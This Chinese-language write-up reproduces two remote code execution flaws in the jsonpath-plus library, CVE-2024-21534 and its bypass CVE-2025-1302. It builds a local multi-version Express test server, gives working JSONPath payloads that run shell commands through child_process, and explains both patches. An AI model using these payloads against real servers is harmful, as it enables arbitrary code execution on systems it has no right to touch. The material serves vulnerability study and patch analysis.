漏洞简介

jsonpath-plus 是 JSONPath 的 JS 实现,带有一些附加运算符,由于输入清理不当,此软件包受影响的版本容易受到远程代码执行 (RCE) 攻击。攻击者可以利用不安全的默认模式使用方式在系统上执行任意代码 eval='safe'。

CVE-2024-21534 的补丁进行了初步防护,CVE-2025-1302 是对 CVE-2024-21534 的一个绕过操作

环境搭建

创建项目目录

mkdir jsonpath-multi-version-test
cd jsonpath-multi-version-test

初始化 Node.js 项目

npm init -y

​

安装基础依赖

npm install express body-parser

安装多个版本的 jsonpath-plus

# 安装存在漏洞 CVE-2024-21534 的版本 (10.0.0) 
npm install jsonpath-plus-v100@npm:jsonpath-plus@10.0.0

# 安装存在漏洞 CVE-2025-1302 的版本 (10.2.0) 
npm install jsonpath-plus-v102@npm:jsonpath-plus@10.2.0

# 安装已修复的版本 (10.3.0)
npm install jsonpath-plus-v103@npm:jsonpath-plus@10.3.0

创建 multi-version-server.js

/**
 * 多版本 JSONPath 测试服务器
 * 此服务器提供多个端点,每个端点使用不同版本的 jsonpath-plus 库
 * 用于比较不同版本对 CVE-2024-21534 和 CVE-2025-1302 漏洞的防护效果
 */

const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');

// 创建 Express 应用
const app = express();
const port = 3000;

// 配置中间件来解析 JSON 请求体
app.use(bodyParser.json());

// 创建日志目录
const logDir = path.join(__dirname, 'logs');
if (!fs.existsSync(logDir)) {
    fs.mkdirSync(logDir);
}

/**
 * 记录请求到文件中,以便分析
 * @param {string} endpoint - 请求的端点
 * @param {Object} req - Express 请求对象
 * @param {string} result - 处理结果
 * @param {string} version - jsonpath-plus 的版本
 */
function logRequest(endpoint, req, result, version) {
    const timestamp = new Date().toISOString();
    const logFile = path.join(logDir, `${endpoint}-${timestamp.replace(/:/g, '-')}.log`);
  
    const logData = {
        timestamp,
        endpoint,
        version,
        ip: req.ip,
        method: req.method,
        headers: req.headers,
        body: req.body,
        result
    };
  
    fs.writeFileSync(logFile, JSON.stringify(logData, null, 2));
    console.log(`Request to ${endpoint} (jsonpath-plus v${version}) logged to ${logFile}`);
}

// 加载不同版本的 jsonpath-plus
// 注意:这需要事先安装这些版本
let jsonpathPlus100, jsonpathPlus102, jsonpathPlus103;

try {
    // 使用 require 加载 10.0.0 版本
    jsonpathPlus100 = require('jsonpath-plus-v100');
    console.log('成功加载 jsonpath-plus v10.0.0');
} catch (error) {
    console.error('无法加载 jsonpath-plus v10.0.0,请确保已安装');
    console.error('可以使用以下命令安装: npm install jsonpath-plus-v100@npm:jsonpath-plus@10.0.0');
    // 提供后备方案
    jsonpathPlus100 = require('jsonpath-plus');
    console.log('使用默认 jsonpath-plus 版本作为 v10.0.0 的后备');
}

try {
    // 使用 require 加载 10.2.0 版本
    jsonpathPlus102 = require('jsonpath-plus-v102');
    console.log('成功加载 jsonpath-plus v10.2.0');
} catch (error) {
    console.error('无法加载 jsonpath-plus v10.2.0,请确保已安装');
    console.error('可以使用以下命令安装: npm install jsonpath-plus-v102@npm:jsonpath-plus@10.2.0');
    // 提供后备方案
    jsonpathPlus102 = require('jsonpath-plus');
    console.log('使用默认 jsonpath-plus 版本作为 v10.2.0 的后备');
}

try {
    // 使用 require 加载 10.3.0 版本
    jsonpathPlus103 = require('jsonpath-plus-v103');
    console.log('成功加载 jsonpath-plus v10.3.0');
} catch (error) {
    console.error('无法加载 jsonpath-plus v10.3.0,请确保已安装');
    console.error('可以使用以下命令安装: npm install jsonpath-plus-v103@npm:jsonpath-plus@10.3.0');
    // 提供后备方案
    jsonpathPlus103 = require('jsonpath-plus');
    console.log('使用默认 jsonpath-plus 版本作为 v10.3.0 的后备');
}

/**
 * /query 端点 - 使用 jsonpath-plus 10.0.0 版本
 * 存在 CVE-2024-21534 漏洞
 */
app.post('/query', (req, res) => {
    console.log('接收到请求: /query (jsonpath-plus v10.0.0)');
  
    const { message, path } = req.body;
  
    if (!message || !path) {
        return res.status(400).json({ error: '需要同时提供 message 和 path 参数。' });
    }
  
    console.log(`使用 jsonpath-plus v10.0.0 处理 JSONPath: ${path}`);
  
    try {
        // 使用 10.0.0 版本的 jsonpath-plus
        const { JSONPath } = jsonpathPlus100;
        const result = JSONPath({
            path,
            json: message
        });
      
        console.log('JSONPath 评估成功 (v10.0.0)');
        logRequest('query', req, JSON.stringify(result), '10.0.0');
      
        res.json({ 
            version: '10.0.0',
            vulnerability: 'CVE-2024-21534',
            result 
        });
    } catch (error) {
        console.error('处理 JSONPath 时出错 (v10.0.0):', error);
        logRequest('query', req, `错误: ${error.message}`, '10.0.0');
      
        res.status(400).json({ 
            version: '10.0.0',
            vulnerability: 'CVE-2024-21534',
            error: '无效的 JSONPath 表达式或 JSON 数据。', 
            details: error.message 
        });
    }
});

/**
 * /query1 端点 - 使用 jsonpath-plus 10.2.0 版本
 * 存在 CVE-2025-1302 漏洞
 */
app.post('/query1', (req, res) => {
    console.log('接收到请求: /query1 (jsonpath-plus v10.2.0)');
  
    const { message, path } = req.body;
  
    if (!message || !path) {
        return res.status(400).json({ error: '需要同时提供 message 和 path 参数。' });
    }
  
    console.log(`使用 jsonpath-plus v10.2.0 处理 JSONPath: ${path}`);
  
    try {
        // 使用 10.2.0 版本的 jsonpath-plus
        const { JSONPath } = jsonpathPlus102;
        const result = JSONPath({
            path,
            json: message
        });
      
        console.log('JSONPath 评估成功 (v10.2.0)');
        logRequest('query1', req, JSON.stringify(result), '10.2.0');
      
        res.json({ 
            version: '10.2.0',
            vulnerability: 'CVE-2025-1302',
            result 
        });
    } catch (error) {
        console.error('处理 JSONPath 时出错 (v10.2.0):', error);
        logRequest('query1', req, `错误: ${error.message}`, '10.2.0');
      
        res.status(400).json({ 
            version: '10.2.0',
            vulnerability: 'CVE-2025-1302',
            error: '无效的 JSONPath 表达式或 JSON 数据。', 
            details: error.message 
        });
    }
});

/**
 * /query2 端点 - 使用 jsonpath-plus 10.3.0 版本
 * 已修复漏洞
 */
app.post('/query2', (req, res) => {
    console.log('接收到请求: /query2 (jsonpath-plus v10.3.0)');
  
    const { message, path } = req.body;
  
    if (!message || !path) {
        return res.status(400).json({ error: '需要同时提供 message 和 path 参数。' });
    }
  
    console.log(`使用 jsonpath-plus v10.3.0 处理 JSONPath: ${path}`);
  
    try {
        // 使用 10.3.0 版本的 jsonpath-plus
        const { JSONPath } = jsonpathPlus103;
        const result = JSONPath({
            path,
            json: message
        });
      
        console.log('JSONPath 评估成功 (v10.3.0)');
        logRequest('query2', req, JSON.stringify(result), '10.3.0');
      
        res.json({ 
            version: '10.3.0',
            status: '已修复',
            result 
        });
    } catch (error) {
        console.error('处理 JSONPath 时出错 (v10.3.0):', error);
        logRequest('query2', req, `错误: ${error.message}`, '10.3.0');
      
        res.status(400).json({ 
            version: '10.3.0',
            status: '已修复',
            error: '无效的 JSONPath 表达式或 JSON 数据。', 
            details: error.message 
        });
    }
});

/**
 * 根路径提供简单的 HTML 页面以便进行手动测试
 */
app.get('/', (req, res) => {
    res.send(`
        <!DOCTYPE html>
        <html>
        <head>
            <title>JSONPath 漏洞测试</title>
            <style>
                body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
                textarea { width: 100%; height: 150px; margin-bottom: 10px; }
                button { padding: 10px; margin-right: 10px; }
                .result { margin-top: 20px; border: 1px solid #ccc; padding: 10px; white-space: pre-wrap; }
                .version-info { color: #666; margin-bottom: 5px; }
                .vulnerability { color: #d9534f; }
                .fixed { color: #5cb85c; }
            </style>
        </head>
        <body>
            <h1>JSONPath 漏洞测试工具</h1>
            <p>这个页面可以用来测试不同版本的 jsonpath-plus 对 CVE-2024-21534 和 CVE-2025-1302 的防护效果。</p>
          
            <h2>JSON 数据</h2>
            <textarea id="jsonData">{"users":[{"id":1,"name":"test1"},{"id":2,"name":"test2"}]}</textarea>
          
            <h2>JSONPath 表达式</h2>
            <textarea id="jsonPath">$.users[*].name</textarea>
          
            <div>
                <button onclick="sendRequest('/query')" class="vulnerability">测试 v10.0.0 (CVE-2024-21534)</button>
                <button onclick="sendRequest('/query1')" class="vulnerability">测试 v10.2.0 (CVE-2025-1302)</button>
                <button onclick="sendRequest('/query2')" class="fixed">测试 v10.3.0 (已修复)</button>
            </div>
          
            <h2>结果</h2>
            <div id="result" class="result"></div>
          
            <script>
                async function sendRequest(endpoint) {
                    const resultDiv = document.getElementById('result');
                    resultDiv.textContent = "处理中...";
                  
                    try {
                        const jsonData = JSON.parse(document.getElementById('jsonData').value);
                        const jsonPath = document.getElementById('jsonPath').value;
                      
                        const response = await fetch(endpoint, {
                            method: 'POST',
                            headers: { 'Content-Type': 'application/json' },
                            body: JSON.stringify({
                                message: jsonData,
                                path: jsonPath
                            })
                        });
                      
                        const result = await response.json();
                        resultDiv.textContent = JSON.stringify(result, null, 2);
                    } catch (error) {
                        resultDiv.textContent = "错误: " + error.message;
                    }
                }
            </script>
        </body>
        </html>
    `);
});

/**
 * 启动服务器
 */
app.listen(port, () => {
    console.log(`服务器已在 http://localhost:${port} 启动`);
    console.log(`- /query 端点使用 jsonpath-plus v10.0.0 (CVE-2024-21534)`);
    console.log(`- /query1 端点使用 jsonpath-plus v10.2.0 (CVE-2025-1302)`);
    console.log(`- /query2 端点使用 jsonpath-plus v10.3.0 (已修复)`);
});

启动多版本测试服务器:

node multi-version-server.js

服务器将在 http://localhost:3000 上启动,提供三个端点:

  • /query - 使用 jsonpath-plus 10.0.0 版本(CVE-2024-21534)
  • /query1 - 使用 jsonpath-plus 10.2.0 版本(CVE-2025-1302)
  • /query2 - 使用 jsonpath-plus 10.3.0 版本(已修复)

​


漏洞复现

V 10.0.0

POST /query HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 179


{
  "message": {"a": 1},
  "path": "$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('whoami').toString())\"; constructor.constructor(p)())]"
}

构造 payload 在 V10.0.0 触发成功,尝试请求触发 V10.2.0 失败


POST /query HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 199

{
  "message": {"a": 1},
  "path": "$[?(var _$_root=[].constructor.constructor(\"console.log(this.process.mainModule.require(\\'child_process\\').execSync(\\'whoami\\').toString())\");@root())]"
}



V10.2.0


POST /query1 HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 194


{
  "message": {"a":1},
  "path": "$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('whoami').toString())\";a=''[['constructor']][['constructor']](p);a())]"
}

构造 payload 在 V10.2.0 触发成功,尝试请求触发 V10.3.0 失败

漏洞分析

原始代码中存在的问题:

  • 没有对危险属性(如constructor、__proto__等)的访问进行限制
  • 可以直接通过对象的constructor属性获取Function构造函数
  • 可以执行任意JavaScript代码,导致远程代码执行漏洞

​

修复方式:

// 添加危险属性黑名单
const BLOCKED_PROTO_PROPERTIES = new Set([
    'constructor',
    '__proto__',
    '__defineGetter__', 
    '__defineSetter__'
]);

// 添加属性访问检查
if (!Object.hasOwn(obj, prop) && BLOCKED_PROTO_PROPERTIES.has(prop)) {
    throw TypeError(`Cannot read properties of ${obj} (reading '${prop}')`);
}

存在的问题:

  • 只检查字符串类型的属性名
  • 没有考虑JavaScript的类型转换机制
  • 安全检查发生在类型转换之前

绕过方式:

​

// 使用数组来绕过检查
obj[['constructor']] // 而不是 obj['constructor']

绕过原理:

  • 使用数组时,黑名单检查无法匹配
  • JavaScript会自动调用数组的toString()方法
  • ['constructor'].toString() 返回 "constructor"字符串
  • 最终仍然可以访问constructor属性

​

第二次修复

https://github.com/JSONPath-Plus/JSONPath/commit/30942896d27cb8a806b965a5ca9ef9f686be24ee


从代码差异可以看到,第二次修复采取了更严格的措施:

// 强制将属性名转换为字符串
const prop = String(
    ast.computed ? SafeEval.evalAst(ast.property) // `object[property]`
    : ast.property.name // `object.property`
);

修复要点:

  1. 使用String()函数强制转换属性名
  2. 确保所有属性访问都经过字符串转换
  3. 添加了对toString方法被重写情况的处理

注释中特别说明:

​

// NOTE: `String(value)` throws error when
// value has overwritten the toString method to return non-string
// i.e. `value = {toString: () => []}`

这次修复通过强制类型转换和异常处理,有效地防止了第一次修复中的类型转换绕过问题。即使攻击者试图使用数组或其他类型来绕过检查,属性名都会被强制转换为字符串,然后进行安全检查。